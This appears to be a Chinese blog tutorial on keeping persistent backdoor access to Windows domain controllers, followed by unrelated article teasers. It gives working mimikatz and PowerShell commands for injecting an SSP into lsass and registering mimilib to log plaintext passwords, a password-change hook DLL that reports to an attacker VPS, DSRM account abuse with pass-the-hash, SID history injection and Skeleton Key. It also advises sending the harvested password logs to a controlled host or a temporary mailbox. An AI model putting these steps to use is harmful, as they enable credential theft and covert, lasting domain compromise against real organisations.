【权限维持】域控后门SSPHOOKDSRMSID万能钥匙

news2025/1/24 14:45:19

文章目录

  • 内网域-权限维持-基于验证DLL加载-SSP
    • 方法一:但如果域控制器重启,被注入内存的伪造的SSP将会丢失。
    • 方法二:使用此方法即使系统重启,也不会影响到持久化的效果。
    • 使用总结
  • 内网域-权限维持-基于验证DLL加载-HOOK
    • 方法一:本地监听
    • 方法二:vps远程监听
  • 内网域-权限维持-基于机制账号启用-DSRM
    • 概述
    • 利用流程
    • 技术总结:
  • 内网域-权限维持-基于用户属性修改-SID history
    • 利用流程
    • 技术总结:
  • 内网域-权限维持-基于登录进程劫持-Skeleton Key
  • 参考

内网域-权限维持-基于验证DLL加载-SSP

方法一:但如果域控制器重启,被注入内存的伪造的SSP将会丢失。

privilege::debug
misc::memssp

在这里插入图片描述

C:\Windows\System32\mimilsa.log 记录登录的账号密码
这里切换一下用户查看mimilsa.log文件
在这里插入图片描述

方法二:使用此方法即使系统重启,也不会影响到持久化的效果。

1、mimilib.dll(位于mimikatz同目录下)传到目标域控的c:\windows\system32\目录下
在这里插入图片描述

2、修改注册表,重启生效

reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages"

在这里插入图片描述

reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ

在这里插入图片描述
c:\windows\system32\kiwissp.log 记录账号密码文件
在这里插入图片描述

使用总结

攻防实战中,靶机很难会重启,攻击者重启的话风险过大,
因此可以在靶机上把两个方法相互结合起来使用效果比较好,
尝试利用把生成的日志密码文件发送到内网被控机器或者临时邮箱。

内网域-权限维持-基于验证DLL加载-HOOK

https://github.com/wh0Nsq/HookPasswordChange
https://github.com/clymb3r/Misc-Windows-Hacking
基于本地密码的修改,将修改的密码写在该目录下,当然在编译的过程中也可以更改路径。
在这里插入图片描述
编译时注意:在静态库中使用MFC(可能需要自行安装MFC库)
在这里插入图片描述
在这里插入图片描述
编译成功后将release目录下HookPasswordChange.dll 放到HookPasswordChangeNotify.ps1脚本同目录下

方法一:本地监听

powershell
Import-Module .\HookPasswordChangeNotify.ps1
Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll -procname lsass		# 这条命令不运行也可以

导入ps脚本可能会提示缺少dll文件及其他报错
在这里插入图片描述
修改密码触发条件
在这里插入图片描述

方法二:vps远程监听

powershell -exec bypass -Command "& {Import-Module 'C:\Invoke-ReflectivePEInjection.ps1';Invoke-ReflectivePEInjection -PEPath C:\HookPasswordChange.dll -procname lsass}"

在这里插入图片描述
修改为自己vps ip以及监听的端口
在这里插入图片描述
很遗憾这里没有复现成功,缺少 MSVCP140.dll(需要下载vscode对应版本或者单独在程序路径进行导入)
在这里插入图片描述
当然实战情况下不出网,可以将其转发到已获取权限的域成员主机上或出网主机
报错解决:
powershell
Set-ExecutionPolicy
unrestricted

内网域-权限维持-基于机制账号启用-DSRM

概述

DSRM(Diretcory Service Restore Mode,目录服务恢复模式)是windows域环境中域控制器的安全模式启动选项。域控制器的本地管理员账户也就是DSRM账户,DSRM密码是在DC创建时设置的,一般很少更改。DSRM的用途是:允许管理员在域环境出现故障时还原、修复、重建活动目录数据库。通过在DC上运行ntdsutil 工具可以修改DSRM密码。

利用流程

1.获取dsrm及krbtgt的NTLM hash

privilege::debug
lsadump::lsa /patch /name:krbtgt
token::elevate
lsadump::sam

在这里插入图片描述
2.dsrm&krbtgt&NTLM hash同步

NTDSUTIL:打开ntdsutil
set DSRM password:修改DSRM的密码
sync from domain account 域用户名字:使DSRM的密码和指定域用户的密码同步

在这里插入图片描述
启用krptgt用户
在这里插入图片描述
在这里插入图片描述
q(第1次):退出DSRM密码设置模式
q(第2次):退出ntdsutil
3.修改dsrm登录方式(0:不可登陆、1:只能本地登陆、2:可以远程登录)

New-ItemProperty "hklm:\system\currentcontrolset\control\lsa\" -name "dsrmadminlogonbehavior" -value 2 -propertyType DWORD


4.利用PTH传递攻击

privilege::debug
sekurlsa::pth /domain:owa2010cn-god /user:administrator /ntlm:b097d7ed97495408e1537f706c357fc5

在这里插入图片描述

dir \\owa2010cn-god\c$

在这里插入图片描述

缺点:弹出cmd窗口,才可以利用,容易被发现

技术总结:

利用系统自带机制模式DSRM,修改DSRM默认登录方式和属性,通过其同步krgtgt进行PTH攻击,实现持续化控制,但适用于系统=>windows server2008。每个域控制器都有本地管理员账号和密码(与域管理员账号和密码不同)。DSRM账号可以作为一个域控制器的本地管理员用户,通过网络连接域控制器,进而控制域控制器。

内网域-权限维持-基于用户属性修改-SID history

利用流程

wmic useraccount get sid,name

在这里插入图片描述
1、获取某用户SID属性:

Import-Module ActiveDirectory
Get-ADUser webadmin -Properties sidhistory

在这里插入图片描述

2、给予某用户administrator属性:

privilege::debug
sid::patch
sid::add /sam:webadmin /new:administrator

在这里插入图片描述
再次查看webadmin sid属性(此时已经具有administrator权限)
在这里插入图片描述
3、测评给与前后的DC访问权限:

dir \\192.168.3.21\c$

在这里插入图片描述

技术总结:

把域控管理员的SID加入到 其他某个 恶意的域账户的SID History中,然后,这个恶意的(我们自己创建的)域账户就可以域管理员权限访问域控了,不修改域账户一直存在。

内网域-权限维持-基于登录进程劫持-Skeleton Key

1、测试域内某个用户与DC通讯

dir \\owa2010cn-god\c$

2、连接DC后,DC注入lsass进程
net use \owa2010cn-god\ipc$ “Admin12345” /user:god\administrator

mimikatz:
privilege::debug
misc::skeleton

在这里插入图片描述
3、重新测试域内某个用户与DC通讯

net use \\owa2010cn-god\ipc$ "mimikatz" /user:god\administrator
dir \\owa2010cn-god\c$

在这里插入图片描述
技术总结:
因为Skeleton Key技术是被注入到lsass.exe进程的,
在这里插入图片描述
所以它只存在内存中,如域控重启,万能密码将失效。

参考

https://www.cnblogs.com/lcxblogs/p/14216525.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/413694.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

esxi的安装配置以及新建虚拟机

esxi的安装配置以及新建虚拟机1_esxi的安装1.1_镜像下载1.2_启动盘制作1.3_安装教程1.3.1_进入Bios Manager选择使用U盘启动1.3.2_配置esxi(主要是配置网络)1.3.3_远程连接(直接在电脑上输入ip地址登录即可)2_新建虚拟机装操作系统…

没有他们,人工智能只能死翘翘

我过去写过一篇文章《很多所谓伟大的贡献,其实都是狗屎运》,今天我也写写人工智能。(1)人才深度神经网络如果不从明斯基和罗森布拉特说起,那就应该可以从1965年Ivakhnenko发明前馈神经网络说起。但关键里程碑是出自Rum…

Socket套接字编程(实现TCP和UDP的通信)

🎉🎉🎉点进来你就是我的人了 博主主页:🙈🙈🙈戳一戳,欢迎大佬指点!人生格言:当你的才华撑不起你的野心的时候,你就应该静下心来学习! 欢迎志同道合的朋友一起加油喔🦾&am…

设置Pycharm的背景颜色(样式)、图片

目录 一、效果 二、背景图片 三、背景颜色 一、效果 二、背景图片 1.打开Pycharm中的File-Settings 2.点击Appearance & Behavior中的Appearance,然后点击Bcakground Image (图中已标明顺序) 3.找到图片并选中。 (图中已…

[JavaEE]----Spring01

文章目录Spring_day011,课程介绍1.1 为什么要学?1.2 学什么?1.3 怎么学?2,Spring相关概念2.1 初识Spring2.1.1 Spring家族2.1.2 了解Spring发展史2.2 Spring系统架构2.2.1 系统架构图2.2.2 课程学习路线2.3 Spring核心概念2.3.1 目前项目中的问题2.3.…

PasteSpider之--路由列表-私有仓库-环境配置-的介绍

路由列表 这个路由就是我们说的代理,PasteSpider的代理是使用nginx实现的,其实就是PasteSpider在执行命令的过程中对对应的nginx的配置文件进行修改和更新。所以这个板块非常重要,特别是你进行动态扩容的时候。 建议查阅nginx的相关代理配置&…

【ESP32】嵌入式FreeRtos--队列Queue

基础知识 队列:先入先出(FIFO,first in first out) 使用方法: 创建队列长度、尺寸(每个信息内存空间的大小)发送数据取数据 API功能xQueueCreate()创建一个队列xQueueSend()往队列里写数据xQueueReceive从队列里读数据uxQueueMessagesWaiting(队列句…

静态时序分析Static Timing Analysis4——多时钟域和多时钟时序检查

文章目录前言一、多时钟域时序分析1、慢时钟域到快时钟域1.1 建立时间检查1.2 保持时间检查1.3 多周期检查2、快时钟域到慢时钟域2.1 建立时间检查2.2 保持时间检查2.3 合理的约束3、总结二、多时钟1、整数倍关系2、非整数倍关系三、相位移动前言 2023.4.12 这里讲的多时钟域和…

干货满满!MES生产制造管理全流程分析

阅读本文您将了解:1.什么是MES生产管理流程;2.MES生产管理流程具体步骤;3.实施MES生产管理流程优势;4.MES生产管理流程中可能会遇见的问题。 一、什么是MES生产管理流程 MES生产管理系统(又称制造执行系统&#xff0…

Java开发 - 公共字段的自动填充

前言 如果说Java开发中有什么是让人很烦的一件事,那一定是无尽的填充字段,本篇作为观众瑰宝系列第二篇,将带来公共字段填充相关的知识点,学完此篇,让你摆脱公共字段填充带来的麻烦,节省代码,降…

定时任务:从Timer、STPE、Quartz 到 XXL-JOB

java.util.Timerjava.util.concurrent.ScheduledThreadPoolExecutor 简称STPEQuartzXXL-JOB 基本套路 定时任务基本上都是在一个while(true)或for(;;)死循环中(每次循环判断定时程序是否终止或暂停),从任务存放的地(可以是内存的…

电脑重装系统后会怎样?

​有小伙伴的电脑系统运行缓慢卡顿,现在想通过重装系统来解决问题。咨询电脑重装系统会怎么样对系统有影响吗,现在小编就带大家看看电脑重装系统后会怎样。 方法/步骤: 一、电脑重装系统会怎么样 1、我们的电脑重装系统后,电脑…

Java面试题总结 | Java基础部分(持续更新)

Java基础 文章目录Java基础一个Java文件里可以有多个类吗(不含内部类)?创建对象的方法面向对象和面向过程简述自动装箱拆箱Java代码块执行顺序java中的基本数据类型对应的字节数包装类型和基本数据类型的场景java中的关键字分类final关键字st…

【微信小程序】小程序基础入门01

😉博主:初映CY的前说(前端领域) ,📒本文核心:微信小程序的入门介绍 【前言】小程序是一种不需要下载、安装即可使用的应用,它实现了应用触手可及的梦想,用户扫一扫或者搜一下就能打开应用,也实现…

Flink 优化 (三) --------- 反压处理

目录一、概述1. 反压的理解2. 反压的危害二、定位反压节点1. 利用 Flink Web UI 定位2. 利用 Metrics 定位三、反压的原因及处理1. 查看是否数据倾斜2. 使用火焰图分析3. 分析 GC 情况4. 外部组件交互一、概述 Flink 网络流控及反压的介绍:https://flink-learning.…

threejs-后期通道效果汇总

文章目录前言后期处理通道汇总简单通道效果FilmPassDotScreenPassBloomPassUnrealBloomPassOutlinePassGlitchPassHalftonePass高级通道效果掩码效果MaskPass景深效果 BokehPass景自定义效果 ShaderPass总结前言 Threejs提供了很多后期处理通道,配合 THREE.EffectC…

【并发编程Python】一文了解Python并发编程,协程、线程、进程

并发编程简介和一些前缀知识 并发编程是使得程序大幅度提速的。在并发编程中,程序可以同一时间执行多个任务,这有助于提高程序的吞吐量和响应时间。并发编程设计的主要概念包括线程、锁、同步、信号量、进程间通信等。 前缀知识: IO&#x…

信息系统项目管理师第四版知识摘编:第22章 组织通用治理​

第22章 组织通用治理​ 组织治理是协调组织利益相关者之间关系的一种制度安排,目标是为了确保组织的高效决策,实现利益相关者之间的利益均衡,提高组织的绩效,确保组织运行的可持续发展。​ 22.1组织战略​ 组织战略是组织高质量…

一文读懂:低代码开发平台对企业效益有什么作用?

一文读懂:低代码开发平台对企业效益有什么作用? 近年来,企业数字化转型的需求越来越迫切,但面临着IT人才不足、成本高昂等痛点问题,于是零代码平台应运而生,成为企业数字化转型的重要工具。 市面上的零代…

基于支持向量机SVM的脑部肿瘤识别,脑电波样本熵提取

目录 支持向量机SVM的详细原理 SVM的定义 SVM理论 Libsvm工具箱详解 简介 参数说明 易错及常见问题 SVM应用实例,基于SVM的的脑部肿瘤识别分类预测 代码 结果分析 展望 支持向量机SVM的详细原理 SVM的定义 支持向量机(support vector machines, SVM)是一种二分类模型,它…